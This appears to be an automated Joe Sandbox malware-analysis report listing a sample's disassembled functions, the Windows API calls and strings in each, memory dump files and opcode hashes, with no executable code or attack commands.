Instruction Fuzzy Hash: 9501DB7534430D7FD3345E649C52FB673A8EB84751F10002EF787561C0DAA168C49A24

Function 00901316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0090E2E8: _swprintf.LIBCMT ref: 0090E30E
Part of subcall function 0090E2E8: _strlen.LIBCMT ref: 0090E32F
Part of subcall function 0090E2E8: SetDlgItemTextW.USER32(?,0093E274,?), ref: 0090E38F
Part of subcall function 0090E2E8: GetWindowRect.USER32(?,?), ref: 0090E3C9
Part of subcall function 0090E2E8: GetClientRect.USER32(?,?), ref: 0090E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0090135A
SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

Strings

0, xrefs: 00901319

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: d048d7c50afb1f79c7a744dab0ff582d7713aa6ea3579549534f62b0ef8bdadb
Instruction ID: 3cc71b8c1254bbac3217f8f0863a239068202d0be0a87db73fda29e2005a7544
Opcode Fuzzy Hash: d048d7c50afb1f79c7a744dab0ff582d7713aa6ea3579549534f62b0ef8bdadb
Instruction Fuzzy Hash: 42F0AF3110838CAFDF150F608C0DBEA3B9CAF41344F048519FC44509E1CB78C990EB10

Function 00910FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00911206,?), ref: 00910FEA
GetLastError.KERNEL32(?), ref: 00910FF6

Part of subcall function 00906C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00906C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00910FFF

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 7289fc3120199d7a65ac9611a4031f2ff3311a71bdd63a7e50c1373fa567a9d2
Instruction ID: d56faa0cf3762ac9d095b330369f2aa51998241f9447bfcde8f8b0acce9fef05
Opcode Fuzzy Hash: 7289fc3120199d7a65ac9611a4031f2ff3311a71bdd63a7e50c1373fa567a9d2
Instruction Fuzzy Hash: C0D02B315485303AD62433249D06D6E3904CB52331F104708F279511E1CB1449D16A91

Function 0090E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,0090DA55,?), ref: 0090E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,0090DA55,?), ref: 0090E2B1

Strings

RTL, xrefs: 0090E2AB

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: bc13cb2868dc71f273f7785e5759629f7bd886631d9359dffa13ac4a92134ea6
Instruction ID: 0a1780676497a2eb135f782a4fe1a07a5468f8e4ce198afb734a16c8b88f2844
Opcode Fuzzy Hash: bc13cb2868dc71f273f7785e5759629f7bd886631d9359dffa13ac4a92134ea6
Instruction Fuzzy Hash: 56C0123169A7106AEA3427686D4DB836A585B00B16F094948B281EE2D1DAA5C980DAA0

Function 0092BEE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 0092BEE0
GetCommandLineW.KERNEL32 ref: 0092BEEB

Strings

`%t, xrefs: 0092BEE6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: CommandLine
String ID: `%t
API String ID: 3253501508-135100400
Opcode ID: 07bbe19662da8b5953cfa5a8bfb8c3c6bfe7aae9f53cbd94a17f3a423a374fd7
Instruction ID: 16e89c2888939a233d6a8c17c2f186f6adbfaf43b292d0251859e25ddbfca69b
Opcode Fuzzy Hash: 07bbe19662da8b5953cfa5a8bfb8c3c6bfe7aae9f53cbd94a17f3a423a374fd7
Instruction Fuzzy Hash: 9BB092B887C7088FD7008FB0F80C0047BA0BA08302380985BD802C6730DB744189FF00

Analysis Process: serverBrokerperfMonitor.exePID: 7580, Parent PID: 7520COMMON

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	75%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9E0D70 Relevance: .3, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddf4eaaddad0ef8741f5d5e8d1001d66a22a784ad4073ca9bff2335aad1748d
Instruction ID: fe13b690017c2a8829cef46b3603bf3ae1f62373c649be1fe1d6968b7eaf0bda
Opcode Fuzzy Hash: cddf4eaaddad0ef8741f5d5e8d1001d66a22a784ad4073ca9bff2335aad1748d
Instruction Fuzzy Hash: 98A1C271A1898D9FEB98DB68D865BA97FE1FF55310F0001BEE009D72D6DB782841CB40

Function 00007FFD9B9E0B47 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c9, xrefs: 00007FFD9B9E0B56
!k9, xrefs: 00007FFD9B9E0B4E

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: b5ca1b83ae477db99f7afbd5e17e07ed95a200bfa5cfa14eabd018e335ca11bb
Instruction ID: b64002f6e75f6f1d4906d3e8de79d3bbeb609f0fb942b40dbb53c63756e32d5a
Opcode Fuzzy Hash: b5ca1b83ae477db99f7afbd5e17e07ed95a200bfa5cfa14eabd018e335ca11bb
Instruction Fuzzy Hash: 0311AF32A2824D9FDB44DF6CD8919EA37A4FB98324B010176F849D7261C730A565CB91

Function 00007FFD9BBA067C Relevance: 1.7, APIs: 1, Instructions: 163
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BBA0771

Memory Dump Source

Source File: 00000005.00000002.1965042803.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bb90000_serverBrokerperfMonitor.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6406da5930fb70b9375b22125064065babfe1a1901fa48937fbcfb575280a854
Instruction ID: f1e53d4baa65e373ba73b8cb58249d3fab849be573b9a85d9ff336117a398c2b
Opcode Fuzzy Hash: 6406da5930fb70b9375b22125064065babfe1a1901fa48937fbcfb575280a854
Instruction Fuzzy Hash: 01514A7090978C8FDB55DFA8C854AE9BBF0FF56310F1441ABD049DB2A2DA399846CB11

Function 00007FFD9BB9EE3D Relevance: 1.6, APIs: 1, Instructions: 140
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BB9EF11

Memory Dump Source

Source File: 00000005.00000002.1965042803.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bb90000_serverBrokerperfMonitor.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: a2a122b7c698c668747bfb5f2f511d49a4502a200567cd0f7d0de3c1fdd3a003
Instruction ID: 1ca8de0bd4f914b64fd248a5eb83c811d0e1474073c9afd1271d1b61d582b1f9
Opcode Fuzzy Hash: a2a122b7c698c668747bfb5f2f511d49a4502a200567cd0f7d0de3c1fdd3a003
Instruction Fuzzy Hash: 6C415C70E08A4D8FDF58DF98C895BEDBBF0FB5A310F10416AD449E7292DA70A845CB41

Function 00007FFD9BBA2455 Relevance: 1.6, APIs: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BBA2522

Memory Dump Source

Source File: 00000005.00000002.1965042803.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bb90000_serverBrokerperfMonitor.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 90546486bf730c7229643badcf29c3186f9571a0b098dffc0b07c47280cf1e05
Instruction ID: 932ddac39b675bd982c8f4eaa2e6e2caa6d72e9b2b93b6995e2ebd02d05523b4
Opcode Fuzzy Hash: 90546486bf730c7229643badcf29c3186f9571a0b098dffc0b07c47280cf1e05
Instruction Fuzzy Hash: 67410A70E0864C8FDB98DF98D895BEDBBF1FB5A310F10416ED049E7252DA71A885CB41

Function 00007FFD9BBA07D9 Relevance: 1.4, APIs: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FFD9BBA08B1

Memory Dump Source

Source File: 00000005.00000002.1965042803.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bb90000_serverBrokerperfMonitor.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 87436add337fecb39f3e0ea8ef896b41bd8c97f80bbb157a94eb0188c52a61ef
Instruction ID: 6de1a4cf150e89ed5438663bbc8a9106a0f4d9ecb3909e39686bd911d5405652
Opcode Fuzzy Hash: 87436add337fecb39f3e0ea8ef896b41bd8c97f80bbb157a94eb0188c52a61ef
Instruction Fuzzy Hash: 6E414A70E0864C8FDB59DFA8C894BEDBBF0FB56310F1441AAD049E7292DA74A885CB41

Function 00007FFD9B9E090D Relevance: .2, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f1eac5d810eede91ed5ff7e4e3e17f82bd1bbd59b775eb3dec48cc96494ff8a
Instruction ID: b89c21ceeb2fed208a7d397299c15897c463999783cfab1bf160a25ff2b7ea6a
Opcode Fuzzy Hash: 5f1eac5d810eede91ed5ff7e4e3e17f82bd1bbd59b775eb3dec48cc96494ff8a
Instruction Fuzzy Hash: 6D51BF31B1855D8FEB54FFA8D495AEC7BE0FF58314F0105BAD00ED7196DA35A8818B80

Function 00007FFD9B9E08E8 Relevance: .2, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd9ce702684b488146e6c69aca35246c0db87672a84b6b2dd4ac7d14d958322
Instruction ID: a8d9fcfb6fcc112d5c341975a90fc59f7da4456f4ea9dd04a46850b6df65d8d4
Opcode Fuzzy Hash: 5dd9ce702684b488146e6c69aca35246c0db87672a84b6b2dd4ac7d14d958322
Instruction Fuzzy Hash: 8B51E371A0850E9FCF84EF68D894EED7BF1FF58355B050265E409E72A1CA34E990CB80

Function 00007FFD9B9E0998 Relevance: .1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 451a724e94549007b69eced40b994585848bd83dfab1fc482514ec114b272307
Instruction ID: 64ae2827f82059cdfecfd14c3e7af1390045ec7dd37cb085a80e986ec0b8a3e2
Opcode Fuzzy Hash: 451a724e94549007b69eced40b994585848bd83dfab1fc482514ec114b272307
Instruction Fuzzy Hash: 18412830E1491D9FDF94EFA8C495AEDBBF1FF68715F10017AE409E32A5DA34A9418B80

Function 00007FFD9BC3160D Relevance: .1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1966015794.00007FFD9BC30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bc30000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eea52484bcd4c12570162b3ed22d64f160adb2d687003ab62c168ab7f9d8259
Instruction ID: 358499788216530113703ea77e24cc2833fd83f8ab92efa318d05a01b2ec8610
Opcode Fuzzy Hash: 3eea52484bcd4c12570162b3ed22d64f160adb2d687003ab62c168ab7f9d8259
Instruction Fuzzy Hash: F841B271A18A4A8FDB54EB58C8A1EA8B7F2FF58309F4501F9D40DD3292DB34A981CB41

Function 00007FFD9B9E7DF1 Relevance: .1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890d185046cbf8eaeb84a3f6bcce5b4d3dfaae1ff280616191eb269524f5d99e
Instruction ID: 106aae3647675ae781a22f03fc96811ed7024424e356991e1876a1138aece326
Opcode Fuzzy Hash: 890d185046cbf8eaeb84a3f6bcce5b4d3dfaae1ff280616191eb269524f5d99e
Instruction Fuzzy Hash: D8419470A1952D8FEBB5EB54C858BA8B7F5FB58701F0141EAD04DE22A1DA746BC4CF00

Function 00007FFD9BC31659 Relevance: .1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1966015794.00007FFD9BC30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9bc30000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae406be6af1adf3db48511c04374e440d63c529e1751e7a8beedee97de2bed4d
Instruction ID: 18f6480a342be1282b727a69017d9b1e72e5f1af7758acf2d0d4810990a634e1
Opcode Fuzzy Hash: ae406be6af1adf3db48511c04374e440d63c529e1751e7a8beedee97de2bed4d
Instruction Fuzzy Hash: F4318571A18A4A8FDB58EF588CB5DA4B7E2FB68305F4901FAD40DD3192DA35A9818F01

Function 00007FFD9B9E0C25 Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 728293b3238415117c8281406b1eb36e56936e068ac899964f4e90b17f00537e
Instruction ID: 8ca68fc2b453e795bb7d2a9729fafe4903b5bcfb2d694868313dfd58d4f6e61d
Opcode Fuzzy Hash: 728293b3238415117c8281406b1eb36e56936e068ac899964f4e90b17f00537e
Instruction Fuzzy Hash: B3314531F0E24E9FE721ABA8C8622FD7BA0EF95710F050677D555A71E2CA782706C790

Function 00007FFD9B9E93D0 Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64a697281f667d8dd519a6cdb8d010b0e7a4d44445638d9e4b8c574d61d69115
Instruction ID: 10329a5a5d6d3047f3d080bb8c1a549b05cb1534bbca0e10fa3a456528707a4a
Opcode Fuzzy Hash: 64a697281f667d8dd519a6cdb8d010b0e7a4d44445638d9e4b8c574d61d69115
Instruction Fuzzy Hash: 3F31837191491D9FDFA8EF18C855AE9B3F1FB68305F5081EAC04DE36A4CE716A848F81

Function 00007FFD9B9E116D Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73594df84dbf96538ef268b129267366d250e0b0b95306ce7f7f9a72feaa9a93
Instruction ID: b0988d74191e0b67bbb3c3354b194f86487f0147e80a092dec66677d0bf98add
Opcode Fuzzy Hash: 73594df84dbf96538ef268b129267366d250e0b0b95306ce7f7f9a72feaa9a93
Instruction Fuzzy Hash: 25216030A1491E9FEB94EFA8C8949EDB3F1FF68304B11057AD409D32A1DF35AA41CB40

Function 00007FFD9B9E8045 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd70e8ccf2384f1cfa9a238e858d943dd511ae4ac48444b642e1e7d5d7b40566
Instruction ID: f7cc5f76b7e5a96b72f26192f93cdd05463481c696f824b81106a8b8a3a1d76b
Opcode Fuzzy Hash: cd70e8ccf2384f1cfa9a238e858d943dd511ae4ac48444b642e1e7d5d7b40566
Instruction Fuzzy Hash: 3E21A270A2952D8FDBBADB54C8657E8B7B5EB58701F0101FA904DA22A5CA786BC1CF00

Function 00007FFD9B9E7DB9 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c25c8a463a9b3fc1c51276fdb7191c8a043fb5836e7d15ae044cf22af8c242
Instruction ID: 7872b65cb56a02f323556a7ac9d4b57c812b9129a6dd3feb47c4c515d76aeccc
Opcode Fuzzy Hash: a8c25c8a463a9b3fc1c51276fdb7191c8a043fb5836e7d15ae044cf22af8c242
Instruction Fuzzy Hash: 2B211D71E2A51D9FDB75DBA498657B873B4FF09300F1150FAD00DA22A1DA786B808F01

Function 00007FFD9B9E0C38 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: decf6940849478becf9360312a678dfe7de969841327484622e38cae355c7a07
Instruction ID: d0560865b9221b9dacbd2823f53326b3a207349a4870ca492ae28dde3981a62a
Opcode Fuzzy Hash: decf6940849478becf9360312a678dfe7de969841327484622e38cae355c7a07
Instruction Fuzzy Hash: 79112931B0D64E9EF712EBA8D8622E977A0EF91710F054637D595A71E2DA34230AC790

Function 00007FFD9B9E0C40 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45792273204e4c3660aaf2e8698c71cef3b5aa6cc581c9ad1c2bbadf86af312b
Instruction ID: c34728d16ea6d92bb315c311e043d466418ce32834d7d2bdfc8978cf91b1eb2b
Opcode Fuzzy Hash: 45792273204e4c3660aaf2e8698c71cef3b5aa6cc581c9ad1c2bbadf86af312b
Instruction Fuzzy Hash: 26112B31F0D64E9FF712EBA4C8622E977A0EF51710F054676D595A71E2CA342309C790

Function 00007FFD9B9E0B7F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20137a9f6a5dbe5c8b3d511cb0990968b43e1b4516daa7811d4684b12e2a5075
Instruction ID: 67e5dc96ff774be14aaea5cbed542f88d2c14fda088d8836877163c59c2f6709
Opcode Fuzzy Hash: 20137a9f6a5dbe5c8b3d511cb0990968b43e1b4516daa7811d4684b12e2a5075
Instruction Fuzzy Hash: 66115B3162824DDFCB44EF68C991AEA7BA0FF49318F1502AAF84DD7252C730E564CB81

Function 00007FFD9B9E0C48 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0953e1e2df1b917435dbf88a9b8015b9cdf1cbdca14ee7c95751f5df10928c78
Instruction ID: acde4c17da542b6c672b857a7ff305281930a1e6f7149609406f48275cd4c502
Opcode Fuzzy Hash: 0953e1e2df1b917435dbf88a9b8015b9cdf1cbdca14ee7c95751f5df10928c78
Instruction Fuzzy Hash: 9C01F531E0E64E8EE712ABA4C8512E977B0EF45710F054676D592AB2E2CA386709C780

Function 00007FFD9B9E0C50 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31c44dd114b7b7a6da403276a6c434d08764b58f25261de208b3368ed4a68dd
Instruction ID: 74067188a7b58c24993077538f8566184921b8ef9b8391d4b9ed19cf2f4bbae1
Opcode Fuzzy Hash: c31c44dd114b7b7a6da403276a6c434d08764b58f25261de208b3368ed4a68dd
Instruction Fuzzy Hash: 0901F730E1E68E8AE711ABA4C8652ED77B0EF55710F044676D592972E2CE386704C741

Function 00007FFD9B9E660A Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700af58039ffd69cb3274242299b1a399606eb17591d8353d55b852171ebdca3
Instruction ID: 8294df2d42ded1b0db2c54093861cc3a847c182269fc40fc0d76d2b92eafe5ac
Opcode Fuzzy Hash: 700af58039ffd69cb3274242299b1a399606eb17591d8353d55b852171ebdca3
Instruction Fuzzy Hash: 6C110670E0512E8BEBB4EF14C8597E9B3B1EB54704F1041FAD40DA62A1DA786F84CF40

Function 00007FFD9B9E1388 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab3dd3fdb8f17019708fab9df37150ed597f3e48f9648115efd171371e5c63cd
Instruction ID: 5acf310e8effef3bff6cef6e4373a745257b09d4339833da71650511f4543ebe
Opcode Fuzzy Hash: ab3dd3fdb8f17019708fab9df37150ed597f3e48f9648115efd171371e5c63cd
Instruction Fuzzy Hash: 0801AC7091895D9FDF84EF58C458AAE7BF0FF68305F01056AE419D3264D771A990CB80

Function 00007FFD9B9E655F Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1961756771.00007FFD9B9E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b9e0000_serverBrokerperfMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
